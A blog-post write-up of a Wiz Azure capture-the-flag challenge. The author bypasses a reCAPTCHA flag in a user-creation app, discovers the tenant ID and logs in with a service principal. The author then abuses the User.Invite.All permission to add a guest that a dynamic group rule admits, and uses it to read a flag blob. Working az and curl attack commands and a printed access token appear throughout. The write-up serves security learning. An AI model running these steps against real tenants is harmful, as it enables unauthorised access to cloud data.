ZyVOP Logo
Content That Connects
SeriesAI NewsWhy ZyVOPJoin Discord
ZyVOP Logo
Content That Connects

Empowering developers and creators with cutting-edge insights, comprehensive tutorials, and innovative solutions for the digital future.

Content

  • Categories
  • Tags
  • Badges
  • Leaderboard
  • Write Article
  • Newsletter

Company

  • About Us
  • Why ZyVOP
  • API Documentation
  • Write for Us
  • Contact

Connect

  • Privacy Policy
  • Terms of Service
  • Cookie Policy
  • DMCA Policy
  • Code of Conduct

© 2026 ZyVOP. Crafted with care for the developer community.

Made with ❤️ by the ZyVOP team
All systems operational
HomeWIZ-2025 Competition - Phase 3 (Breaking The Barriers)

WIZ-2025 Competition - Phase 3 (Breaking The Barriers)

I0veD
I0veDcyber security researcher
August 12, 2026
6 min read
WIZ-2025 Competition - Phase 3 (Breaking The Barriers)
Article

Breaking The Barriers

PS: After getting the env information, you can put it on the terminal of your own host and execute it. The wiz platform network will be unstable.

initial access

Route tips:

As an APT group targeting Azure, you've discovered a web app that creates admin users, but they are heavily restricted. To gain initial access, you've created a malicious OAuth app in your tenant and now seek to deploy it into the victim's tenant. Can you bypass the restrictions and capture the flag?

The shell environment has been preloaded with your malicious OAuth app credentials and the target web app endpoint as environment variables. Use 'env | grep AZURE' or 'echo $WEB_APP_ENDPOINT' to view them.

作为针对Azure的APT组,您已经发现了一个创建管理用户的Web应用程序,但受到严格限制。为了获得初步访问,您已经在租户中创建了一个恶意的OAuth应用程序,现在试图将其部署到受害者的租户中。您可以绕过限制并捕获标志吗?

Shell环境已使用您的恶意OAuth App凭据和目标Web应用程序端点作为环境变量预装。使用'env | grep azure'或“ echo $ web_app_endpoint”查看它们。

Basic environment:

Azure cli的各类变量:

  • $AZURE_CLIENT_ID

  • $AZURE_CLIENT_SECRET

  • $AZURE_TENANT_ID

  • $WEB_APP_ENDPOINT

VICTIM_TENANT_ID 是 Azure 中的 目录租户ID(Tenant ID),它唯一标识 Azure Active Directory (AAD) 实例

Let’s guess the attack route based on the meaning of the question:

We have a client, but we should not have access rights, so we need to use $WEB_APP_ENDPOINT to take over the interface and perform subsequent operations (even get the flag).


Privilege escalation

First we try to log in to the client, but an error is reported

az login --service-principal -u "$AZURE_CLIENT_ID" -p "$AZURE_CLIENT_SECRET" --tenant "$VICTIM_TENANT_ID"
Failed to resolve tenant ''.

Error detail: {"error":"invalid_tenant","error_description":"AADSTS90002: Tenant 'v2.0' not found. Check to make sure you have the correct tenant ID and are signing into the correct cloud. Check with your subscription administrator, this may happen if there are no active subscriptions for the tenant. Trace ID: 4b6e6e08-db08-4ad7-9bfb-2a03e502b500 Correlation ID: e76808d7-a818-47fa-8d83-fdf58d52bbe7 Timestamp: 2025-09-10 09:49:11Z","error_codes":[90002],"timestamp":"2025-09-10 09:49:11Z","trace_id":"4b6e6e08-db08-4ad7-9bfb-2a03e502b500","correlation_id":"e76808d7-a818-47fa-8d83-fdf58d52bbe7","error_uri":"https://login.microsoftonline.com/error?code=90002"}

similarAADSTS90002The error is because the tenant is not subscribed to Azure or has been inactive for a long time, or the tenant_id is incorrect. You can try adding--allow-no-subscriptionsParameters for login without subscription,For details, see:https://stackoverflow.com/questions/63226826/azure-login-for-tenant-failing-for-az-app-principal-with-no-subscription-found-m

 az login --service-principal -u "$AZURE_CLIENT_ID" -p "$AZURE_CLIENT_SECRET" --tenant "$VICTIM_TENANT_ID" --allow-no-subscriptions
Failed to resolve tenant ''.

Error detail: {"error":"invalid_tenant","error_description":"AADSTS90002: Tenant 'v2.0' not found. Check to make sure you have the correct tenant ID and are signing into the correct cloud. Check with your subscription administrator, this may happen if there are no active subscriptions for the tenant. Trace ID: 496b0638-470b-4245-8ef0-4b99dc573400 Correlation ID: 234cebb8-2486-4877-8596-452cf0556d29 Timestamp: 2025-09-10 10:01:29Z","error_codes":[90002],"timestamp":"2025-09-10 10:01:29Z","trace_id":"496b0638-470b-4245-8ef0-4b99dc573400","correlation_id":"234cebb8-2486-4877-8596-452cf0556d29","error_uri":"https://login.microsoftonline.com/error?code=90002"}

Still getting the same error, it can basically be confirmed that the tenant_id is incorrect.

Next look for information from $WEB_APP_ENDPOINT


Curl can directly obtain the web page and its front-end source code. Here is the sso authentication mentioned in the title.

Image

Comes with an interface to create users and comes with Google Authenticator

Image


Let's try to construct an account and bypass it by directly skipRecaptcha=true. The token can be any value.

BASE="$WEB_APP_ENDPOINT"
PW='N0tEasy!2345?Aa'
F="AppConsent"; L="Reviewer$RANDOM$RANDOM"

RESP=$(curl -sS -X POST "$BASE/create-user" -H 'Content-Type: application/x-www-form-urlencoded'
--data-urlencode "firstName=$F" --data-urlencode "lastName=$L"
--data-urlencode "password=$PW"
--data-urlencode "department=Admin Consent Reviewers"
--data-urlencode "jobTitle=Cloud Application Administrator"
--data "token=anything" --data "skipRecaptcha=true")

UPN=$(printf '%s' "$RESP" | grep -oE '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+.[A-Za-z]+' | head -n1); echo "UPN=$UPN"

VICTIM_TENANT_ID=$(curl -s "https://login.microsoftonline.com/${UPN#*@}/v2.0/.well-known/openid-configuration"
| grep -oE '/[0-9a-f-]{36}/' | head -n1 | tr -d '/'); echo "VICTIM_TENANT_ID=$VICTIM_TENANT_ID"

(This is because wiz often disconnects, so I simplified the one-stop command to obtain the VICTIM_TENANT_ID that can be used for login)

inUPN yes User Principal Name, the format is usually[email protected]That is, the email address returned by our create_user interface

The last step is to use Azure's OpenID discovery mechanism to dynamically obtain the tenant ID of a domain name (organization). ${UPN#*@} is the domain name. You can refer to the article for this part:https://www.mistercloudtech.com/2023/07/11/get-the-tenant-id-for-any-microsoft-entra-tenant/

Image

🔎 Further reference

  • thexyz.com: How to get tenant ID and client ID.

  • medium.com: A mechanism to obtain tenant meta-information using OpenID Connect.

  • jiangong-sun.medium.com: Explanation of the differences between Tenant ID, Client ID and Object ID.


Written in We can try to log in to azure-cli

az login --service-principal -u "$AZURE_CLIENT_ID" -p "$AZURE_CLIENT_SECRET" --tenant "$VICTIM_TENANT_ID" --allow-no-subscriptions

Image

After successfully logging in, scroll through the information

az account get-access-token
az account tenant list -o table
az ad signed-in-user show -o json
az rest --method GET --url "https://graph.microsoft.com/beta/groups"  

| grep CTF | grep WIZ | grep WIZ_CTF 或者人眼排查

I did see the CTF tag when querying groups.

user@monthly-challenge:$ az rest --method GET --url "https://graph.microsoft.com/beta/groups" | grep CTF
      "membershipRule": "(user.department -eq "Finance") and (user.jobTitle -eq "Manager") or (user.displayName -startsWith "CTF") and (user.userType -eq "Guest") or (user.city -eq "Seattle")",

getmembershipRuleAfter that, I was worried for a long time that I never had access rights to GID+RID (how to get GID+RID will be explained later). I thought it was because there were too many gourps, which resulted in the need for FUZZ+regex, so I just used various$filter=department eq 'Finance' and jobTitle eq 'Manager'"To "get people". Finally, after neko solved the problem, I found that there is another way out.


Also, put it aside for more information.

  1. az account get-access-token View token permissions

user@monthly-challenge:$ az account get-access-token
{
  "accessToken": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkpZaEFjVFBNWl9MWDZEQmxPV1E3SG4wTmVYRSIsImtpZCI6IkpZaEFjVFBNWl9MWDZEQmxPV1E3SG4wTmVYRSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuY29yZS53aW5kb3dzLm5ldC8iLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC9kMjZmMzUzZC1jNTY0LTQ4ZTctYjI2Zi1hYTQ4YzZlZWNkNTgvIiwiaWF0IjoxNzU3NTAyODkyLCJuYmYiOjE3NTc1MDI4OTIsImV4cCI6MTc1NzUwNjc5MiwiYWlvIjoiQVdRQW0vOFpBQUFBM2N4ZW03RFUzVlpMYmtCRXg2bHM1WlBBbmRCU2o4Q2c3S3BvVE1RUkM2NElrRFBPUFpQQ3ZxVzBhUys0VzVNaHAxVWhWUlRkdVNOVG1vVk1KZHlsYXBySzJRYWkyM213RzV2d3Vjc0F5aEZoVitoOWs0cU9MNUZrOTRuQUFWWm8iLCJhcHBpZCI6ImY4M2NiM2Q3LTQ3ZGUtNDE1NC1iZTY1LWM4NWQ2OTdjZGZkMyIsImFwcGlkYWNyIjoiMSIsImlkcCI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0L2QyNmYzNTNkLWM1NjQtNDhlNy1iMjZmLWFhNDhjNmVlY2Q1OC8iLCJpZHR5cCI6ImFwcCIsIm9pZCI6Ijk5NjY3N2Y4LTY5ZjEtNDE3MS1iZTAwLTIwN2YzZTA1ZmFlYyIsInJoIjoiMS5BYTRBUFRWdjBtVEY1MGl5YjZwSXh1N05XRVpJZjNrQXV0ZFB1a1Bhd2ZqMk1CTTdBUUN1QUEuIiwic3ViIjoiOTk2Njc3ZjgtNjlmMS00MTcxLWJlMDAtMjA3ZjNlMDVmYWVjIiwidGlkIjoiZDI2ZjM1M2QtYzU2NC00OGU3LWIyNmYtYWE0OGM2ZWVjZDU4IiwidXRpIjoicWdjU2pMQXFvME9GOUd0clJGS0xBQSIsInZlciI6IjEuMCIsInhtc19mdGQiOiJxUFJQWkF4YzFWN3ZYV2lDX2N3RHlVdzdwalc4VS1kTjNtUlpFRk1mdmEwQlpYVnliM0JsYm05eWRHZ3RaSE50Y3ciLCJ4bXNfaWRyZWwiOiIyOCA3IiwieG1zX3JkIjoiMC40LUxnWUJKaVdjZjRua2xJaElOVlNPQ0lkOVUwclFwZHo2VlgxNzlZSHNvZER4UmxGeEtJSzVmdFRDdzU2TDE4TjB2UXBLMUtXVUJSVGlHQmRWLU1OSmpfbkhCWi11T2M1ZGRuYXhpQm9oeENBbTRlOVpVTXU2Nzc3M0stZGZESE53TmhLWFlPRmlGbTV3QkRBQSIsInhtc190Y2R0IjoxNzU1NTk2NTk0fQ.SieFOuXxFQXUyCyg-f3H9cI43UcoVKEHC4-wIgxZ7Y40GaaIojFbSP2E6g5x8NopdjMGZ6k38kZluJ9wB-t9rJu-S6_vb2i06g21F1g11gC01z8HTpVjS8q1aTVGcVF-QfjP7a5S-DdlLKfBSKp-gOvuA8vg_utonPApVNEw7TD5-eawNT8U4K161QOA3lVnNvG56uxBfwrxChYJJhC5NNf9cbPINx60Yw33kextZSlLjMBmMAm4zH4eO7CEaaZ05qfnp3E6ca6kpwx549ZWfYdimc6-WBOgEL8osnH8_GG1yfTS2_awsyZmuIFB3YiABx_MO8ATHIeDT4RYmRLw8Q",
  "expiresOn": "2025-09-10 12:19:51.000000",
  "expires_on": 1757506791,
  "subscription": "d26f353d-c564-48e7-b26f-aa48c6eecd58",
  "tenant": "d26f353d-c564-48e7-b26f-aa48c6eecd58",
  "tokenType": "Bearer"
}

解密下来发现发现role为Group.Read.All和User.Invite.All权限

  1. Get the GID+RID of the flag group

az rest --method GET --url "https://graph.microsoft.com/beta/groups"You can recruit GID

Image


Get RID

GID="7d060bb7-75e4-456e-b46f-382f4ff0c4fd"

RID=$(az rest --method GET
--url "https://graph.microsoft.com/v1.0/groups/$GID/appRoleAssignments"
--query "value[?resourceDisplayName=='CTF Challenge Flag'].resourceId | [0]" -o tsv | tr -d '\r')
echo "RID=$RID"


az rest --method GET <br>--url "https://graph.microsoft.com/v1.0/servicePrincipals/$rid”

Return::Insufficient permissions

Image


Account invitation

I didn't pay much attention to the User.Invite.All permission before, but I figured it out under the guidance of neko and dvk. Sure enough, every design of ctf has its use. Our token has a permission called User.Invite.All, which means we can invite others to join the organization.

Plus the rules we hit before:
• (user.displayName -startsWith "CTF") and (user.userType -eq "Guest")

In this way, your guest account will be automatically included in the target group. Since this group has been assigned to the enterprise application "CTF Challenge Flag", your guest account will be considered "authorized to use the application".

  1. Send invitation

  • Use Graph to create an invitation and directly set the display name to start with CTF; set sendInvitationMessage=false so that the response will returninviteRedeemUrl, you can directly click the link to accept without actually receiving the email.

TENANT="$VICTIM_TENANT_ID"
EMAIL="你自己的可登录 MSA/AAD 邮箱"
DN="CTF Cd"

az rest --method POST
--url "https://graph.microsoft.com/v1.0/invitations"
--body "{
&quot;invitedUserEmailAddress&quot;: &quot;${EMAIL}&quot;,
&quot;inviteRedirectUrl&quot;: &quot;https://myapps.microsoft.com?tenantId=${TENANT}\",
&quot;sendInvitationMessage&quot;: false,
&quot;invitedUserDisplayName&quot;: &quot;${DN}&quot;,
&quot;invitedUserType&quot;: &quot;Guest&quot;
}"

Image

• Take note of the responseinviteRedeemUrl. Open it with a browser and follow the prompts to log in with the account corresponding to your email address to complete "Accept Invitation".

Image

Here we go back to our previous attempt to get the rid prompt that there is no permission. Using the guest account has permission. We first use az login --device-code to log in without an account password, which is more convenient.

user@monthly-challenge:$  az login
To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code AJM8Y43M3 to authenticate.


At this time we execute again

user@monthly-challenge:$  az login
To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code AJM8Y43M3 to authenticate.

Retrieving tenants and subscriptions for the selection...

[Tenant and subscription selection]

No Subscription name Subscription ID Tenant


[1] * Test Group 5dcc0e04-85ce-46dd-83c5-7703bb165aaf Wiz CTF Challenge

The default is marked with an *; the default tenant is 'Wiz CTF Challenge' and subscription is 'Test Group' (5dcc0e04-85ce-46dd-83c5-7703bb165aaf).

Select a subscription and tenant (Type a number or Enter for no changes):

Tenant: Wiz CTF Challenge
Subscription: Test Group (5dcc0e04-85ce-46dd-83c5-7703bb165aaf)

[Announcements]
With the new Azure CLI login experience, you can select the subscription you want to use more easily. Learn more about it and its configuration at https://go.microsoft.com/fwlink/?linkid=2271236

If you encounter any problem, please open an issue at https://aka.ms/azclibug

[Warning] The login output has been updated. Please be aware that it no longer displays the full list of available subscriptions by default.

user@monthly-challenge:az rest --method GET \
--url "https://graph.microsoft.com/v1.0/servicePrincipals/$rid”
> ^C
user@monthly-challenge:$ az rest --method GET --url "https://graph.microsoft.com/v1.0/servicePrincipals/$rid"
Bad Request({"error":{"code":"Request_BadRequest","message":"Invalid object identifier 'í³¢í²€'.","innerError":{"date":"2025-09-10T18:00:13","request-id":"9b52a248-f0e8-4710-9cb2-956eee12d314","client-request-id":"9b52a248-f0e8-4710-9cb2-956eee12d314"}}})
user@monthly-challenge:~$ az rest --method GET --url "https://graph.microsoft.com/v1.0/servicePrincipals/80b871a5-ce2b-4685-81e8-a02ea36dcf65"
{
"@odata.context": "https://graph.microsoft.com/v1.0/$metadata#servicePrincipals/$entity",
"accountEnabled": true,
"addIns": [],
"alternativeNames": [],
"appDescription": null,
"appDisplayName": "CTF Challenge Flag",
"appId": "6cd60a01-b413-40b7-ade6-ab508ba060a9",
"appOwnerOrganizationId": "d26f353d-c564-48e7-b26f-aa48c6eecd58",
"appRoleAssignmentRequired": false,
"appRoles": [],
"applicationTemplateId": null,
"createdDateTime": "2025-08-19T10:41:51Z",
"deletedDateTime": null,
"description": null,
"disabledByMicrosoftStatus": null,
"displayName": "CTF Challenge Flag",
"homepage": "https://azurechallengectfflag.blob.core.windows.net/grab-the-flag/ctf_flag.txt",
"id": "80b871a5-ce2b-4685-81e8-a02ea36dcf65",
"info": {
"logoUrl": "https://aadcdn.msftauthimages.net/c1c6b6c8-agzjojyyfny3-iynuxcjiothvagag7-hoz9hvmlew-8/appbranding/tg4-wwkbwssyfxlwjtantnwvvjcpcp7c7f4ww8pu7fm/1033/bannerlogo?ts=638911969725909408",
"marketingUrl": null,
"privacyStatementUrl": null,
"supportUrl": null,
"termsOfServiceUrl": null
},
"keyCredentials": [],
"loginUrl": null,
"logoutUrl": null,
"notes": null,
"notificationEmailAddresses": [],
"oauth2PermissionScopes": [],
"passwordCredentials": [],
"preferredSingleSignOnMode": null,
"preferredTokenSigningKeyThumbprint": null,
"replyUrls": [
"https://azurechallengectfflag.blob.core.windows.net/grab-the-flag/ctf_flag.txt"
],
"resourceSpecificApplicationPermissions": [],
"samlSingleSignOnSettings": null,
"servicePrincipalNames": [
"6cd60a01-b413-40b7-ade6-ab508ba060a9"
],
"servicePrincipalType": "Application",
"signInAudience": "AzureADMyOrg",
"tags": [
"WindowsAzureActiveDirectoryIntegratedApp"
],
"tokenEncryptionKeyId": null,
"verifiedPublisher": {
"addedDateTime": null,
"displayName": null,
"verifiedPublisherId": null
}
}

The bucket address of the flag can be obtained


Of course we click directlyhttps://myapps.microsoft.com/The wzi flag inside can also directly access the bucket.

But it prompts that we do not have permission to access. At this time, we directly get the token of the current account.

ACCESS_TOKEN=$(az account get-access-token --resource https://storage.azure.com --query accessToken -o tsv)


Combined with the underlying REST API of Azure Storage Servicex-ms-version: 2023-11-03(API versioning) andx-ms-date: $(date -u '+%a, %d %b %Y %H:%M:%S GMT')(request timeliness and security)
Just construct curl. This step has similar questions in pwnlab.https://labs.pwnedlabs.io/azure-blob-container-to-initial-access("x-ms-version: 2019-12-12”)

curl -H "Authorization: Bearer $ACCESS_TOKEN" 
     -H "x-ms-version: 2023-11-03" 
     -H "x-ms-date: $(date -u '+%a, %d %b %Y %H:%M:%S GMT')" 
     "https://azurechallengectfflag.blob.core.windows.net/grab-the-flag/ctf_flag.txt"

Image


I0veD

I0veD

cyber security researcher

Cloud Native & AI Sec Researcher Red Team | BAS | K8s | Evasion 20+ CVEs | CNVD/CNNVD Contributor 🛡️ AI-Driven Blue Team 👇 Works

Comments (0)

Login to post a comment.